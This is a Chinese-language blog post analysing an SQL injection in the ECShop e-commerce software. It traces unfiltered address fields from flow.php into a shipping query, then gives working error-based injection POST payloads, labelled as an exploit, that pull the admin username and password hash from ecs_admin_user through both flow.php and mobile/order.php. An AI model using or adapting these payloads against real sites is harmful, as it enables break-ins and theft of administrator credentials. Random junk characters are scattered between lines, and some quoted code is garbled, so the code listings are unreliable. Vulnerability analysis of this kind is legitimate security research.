ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
/ [- r' A. y$ z8 J7 G
    漏洞关键文件：

    /includes/lib_order.php
/ d# V& q( ?5 W2 s$ c6 B) b
    关键函数：


& Q+ E/ [/ E! }
) N/ X9 w9 v% w6 h01     function available_shipping_list($region_id_list)
! l) ]/ F4 G( a9 [0 \: R
1 R8 v5 W$ u" l/ W' t4 t" M: i02 {

& T2 ]9 M" M# c( B03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
  h1 `& V6 E3 K
2 j9 c3 t" N* K; p7 o4 r05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

7 G9 E% ^" H( @7 x+ u7 y: [, `06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

# d5 a: Y! }4 d07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# H" i% v1 x3 {6 ?
: U( X" I2 ~% i" p08             'WHERE r.region_id ' . db_create_in($region_id_list) .
/ H$ p6 Q' K6 v! y0 j  O
3 q( e, I# a1 `09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ N! V: M6 K+ h/ O. x
6 @5 v1 p# w6 H10   
1 e+ L$ ?- r* e! o  n
11     return $GLOBALS['db']->getAll($sql);
2 e5 A! v. o! |3 ], P+ E
  I! m# e; s- w" R' n12 }
; R7 C3 ^) C* X# V7 t
, i( S- Y/ P- n2 e显然对传入的参数没有任何过滤就带入了查询语句。

7 ]6 q! J* ?: q) P" b/ c/ G5 b下面我们追踪这个函数在flow.php中：
( D1 ]6 \% O4 }; J7 e 第531行：   
3 Q" S# H4 Y! @  T6 C$ k
1 $shipping_list     = available_shipping_list($region);
! c2 }* _, k5 ]

& z4 g- E* ]" r" s3 h4 j
( _8 i3 p( t* ]5 j; H- Q
' V: m% S) p( L
再对传入变量进行追踪：
$ `- _/ z5 P5 b9 w% G
; ?. Z8 K: P& M第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


6 B$ ~5 E+ q: a% b


' X8 C7 O- {1 e$ h第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
# ?# o- X6 d* s1 m# N
到了一个关键函数：
: N1 y$ U2 @! B! ^- ?; m7 O' p
/includes/lib_order.php





01 function get_consignee($user_id)
# |4 y5 @# i9 F9 g9 l% p( s
, h0 b& q9 p" W1 q+ u! l( s3 X02 {

' y# y' {- V: w! U* I( w8 K* T03     if (isset($_SESSION['flow_consignee']))

04     {
! u, X& {7 g; M* E
05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
+ a0 g6 u, x) M
07         return $_SESSION['flow_consignee'];
# C- G* A! L3 F5 z: u' @; o/ {3 V$ U
( p: E, a+ @% u/ d! Z- S1 ]% t08     }
3 q9 }0 ?) r- a: J- [7 u
- W2 ]/ ~5 \3 i1 T4 E, {09     else
$ e# R- Y9 I! R. ]! t) I9 y' P
  m" u3 i9 j) L* _  E) D9 p) X10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
) h# ?5 U; W# e7 d5 n+ F
12         $arr = array();

13   
4 P+ e$ A  L5 S% v1 N
14         if ($user_id > 0)
0 G! S1 B* J* D. s! K  }! s( b# ^& a
15         {
2 ~) @; R3 i3 Z. A8 q4 H- m
16             /* 取默认地址 */
9 g* O1 f6 `. f6 x
) v7 v1 G$ U9 A" R. n17             $sql = "SELECT ua.*".
( l8 o& Z3 y3 `/ V9 M/ j
: z! W  I0 ?3 ]" r5 d18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
* U& T' ]+ B7 f2 f- R" W) X
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
  ~' H" s6 P# j. }$ D! e
21             $arr = $GLOBALS['db']->getRow($sql);
4 r5 a% M$ X+ S2 ^  A% B4 n3 J; Z
22         }

23   

24         return $arr;

25     }

26 }
! L( n" K: w' I! u; f/ y
- }9 u7 J" a7 ]$ M显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
( L$ k& ~/ A; {0 o1 L
" G3 `0 @) w6 H) u

+ I. }3 r2 h' w8 Q+ o8 [$ {6 @关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

2 ]/ ]7 R) b6 J% ?$ G这里对传入参数反转义存入$_SESSION中。
2 Q$ y3 Q7 T; B  P
$ ~5 R$ G( w1 r1 H$ E9 O. n; z

然后看下：

+ |- K& i3 T. p7 N2 Z! R7 ^5 n) e
- U9 d- n- Z4 d0 ]
2 O5 S1 v$ k$ F  W: \* m: K. f8 s) [% m   

01 $consignee = array(
  e/ [9 n# Y5 v  @# v; t
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

% r4 \6 b4 u2 @$ g4 o) T) a04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
0 _: C: z" Y( o9 Y* P; u! q
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

5 h' O; H4 Y" ^# o  \' s4 E" d; S7 Q06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
: p6 S: m. |4 }( ]1 B* `; V0 ^, H
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

4 Y. J8 T% s' c1 O2 n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
+ O& q- I" I$ F* i: b
7 I9 F3 Y* W0 V11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
, ~. Y7 h0 a" A% }6 }2 Y- \( O2 d
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

* O$ X1 a2 N) `14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
% [6 Q/ e5 \) Z6 V% k2 J3 m
  L: k* `* f  }% _5 K( Z/ D15     );
; l, d% ]. v; |7 E- f- d
好了注入就这样出现了。
! m; u' ]3 {0 b9 M) s8 v
==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
7 h5 z) v6 A+ e: D
$ G" C* T5 b3 _! T4 s3 x测试程序：ECShop_V2.7.3_UTF8_release1106
6 \" m. d2 ?7 m! W5 j, r, D


1.首先需要点击一个商品加入购物车

6 l6 [) j  j& t" n( P0 E( z. g! p8 m2.注册一个会员帐号
  Q) g, ^  |' \2 U7 d0 o
3.post提交数据
9 ?9 g/ A8 e7 n8 W# {5 a


1 http://127.0.0.1/ecshop/flow.php
- `- D, R. n% Z/ z- U
; ]8 c% l; K1 k* T8 _2   
( J6 X3 G' P; H) L2 F' v
# p. [& y5 }8 j0 N3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
, W" S% K: `" m举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
% P. s5 b4 p2 a/ N, u, j
8 A& e+ ^3 X* M$ l利用exp:
, ^4 |0 R: e* B. ^& o6 }
7 P4 w- H; |. y' e/ G+ G+ L1.点击一个商品，点击购买商标

2.登录会员帐号
) J: S7 S/ ]" H2 ^4 `
" n) j$ ?, d2 A3.post提交：
. Q* y3 U  v4 n& j) V, i7 {
5 Z! m; P& _/ ~7 p% xhttp://127.0.0.1/ecshop/mobile/order.php



, P* Y5 h: \1 `$ {/ D4 _country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
# c/ L5 W6 F. Q, P' J' q7 A